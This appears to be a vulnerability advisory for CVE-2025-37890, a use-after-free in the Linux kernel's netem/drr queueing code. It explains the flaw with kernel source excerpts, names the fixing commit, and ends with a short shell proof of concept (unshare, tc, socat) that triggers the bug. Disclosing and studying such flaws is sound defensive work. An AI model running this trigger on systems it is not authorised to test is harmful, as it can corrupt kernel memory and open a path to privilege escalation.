Advisory May 16, 2025 By Gerrard Tai 3 min read

CVE: CVE-2025-37890

Affected Versions: Linux kernel 5.0.1 through 6.15-rc4

CVSS3.1: 7.8 (High) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

CVSS4.0 Scoring System

Base Score: 8.5 Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Technical Details

A use-after-free vulnerability in the Linux Kernel net scheduler subsystem can be exploited to achieve local privilege escalation. In the hfsc_enqueue routine, if the qdisc has a netem child, it is possible for the netem’s re-entrant behaviour to doubly activate a child class. This corrupts internal tracking, leading to a use-after-free vulnerability. We recommend upgrading past commit 37d9cf1a3ce35de3df6f7d209bfb1f50cf188cea.

The vulnerability lies in the netem_enqueue() function.

	if (skb2) {
		struct Qdisc *rootq = qdisc_root_bh(sch);
		u32 dupsave = q->duplicate; /* prevent duplicating a dup... */

		q->duplicate = 0;
		rootq->enqueue(skb2, rootq, to_free);                                // [1]
		q->duplicate = dupsave;
		skb2 = NULL;
	}

	qdisc_qstats_backlog_inc(sch, skb);

	cb = netem_skb_cb(skb);

	if (q->gap == 0 ||		/* not doing reordering */
	    q->counter < q->gap - 1 ||	/* inside last reordering gap */
	    q->reorder < get_crandom(&q->reorder_cor, &q->prng)) {
			
		// [...]

		tfifo_enqueue(skb, sch);                                             // [2]

When the netem qdisc tries to duplicate a packet, it enqueues the packet into the root qdisc ([1]). Subsequently, tfifo_enqueue() is called at [2], which increases the qdisc’s qlen.

A vulnerability exists when the netem qdisc is a child of a classful parent. For example, in drr_enqueue(), there is first a check ([3]) if the child qdisc is empty. Then, it enqueues the packet into the child qdisc ([4]). After the enqueue succeeds, it activates the newly active child ([5]).

	first = !cl->qdisc->q.qlen;                                              // [3]
	err = qdisc_enqueue(skb, cl->qdisc, to_free);                            // [4]
	if (unlikely(err != NET_XMIT_SUCCESS)) {
		if (net_xmit_drop_count(err)) {
			cl->qstats.drops++;
			qdisc_qstats_drop(sch);
		}
		return err;
	}

	if (first) {                                                             // [5]
		list_add_tail(&cl->alist, &q->active);
		cl->deficit = cl->quantum;
	}

When the parent (drr) receives a packet to enqueue in an empty netem qdisc, first = true at [3] and the packet is enqueued in netem. In netem, the packet duplication enqueues the packet in the root qdisc, the parent drr, again before it calls tfifo_enqueue() ([2]). So, the netem still has qlen = 0 when the drr_enqueue() logic runs for the second time. This causes first = true for the duplicate packet as well. Subsequently, both calls succeed and the new child activation occurs twice at [5].

This ’re-entrant’ behaviour is present in other classful qdiscs as well.

This bug can be used to manipulate classful qdisc’s internal tracking and escalated into a LPE.

Proof of Concept

unshare -rn
ip link set dev lo up
tc qdisc add dev lo handle 1:0 root drr
tc class add dev lo classid 1:1 drr
tc qdisc add dev lo parent 1:1 handle 2:0 netem duplicate 100%
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))

Fix

Upgrade past commit 37d9cf1a. The fix introduces a check of the n_active class variable to prevent duplicate insertions.

Credit

Gerrard Tai of STAR Labs SG Pte. Ltd.

Timeline

• 2025-03-28 — Reported to Linux Kernel Security Team
• 2025-05-16 — CVE-2025-37890 published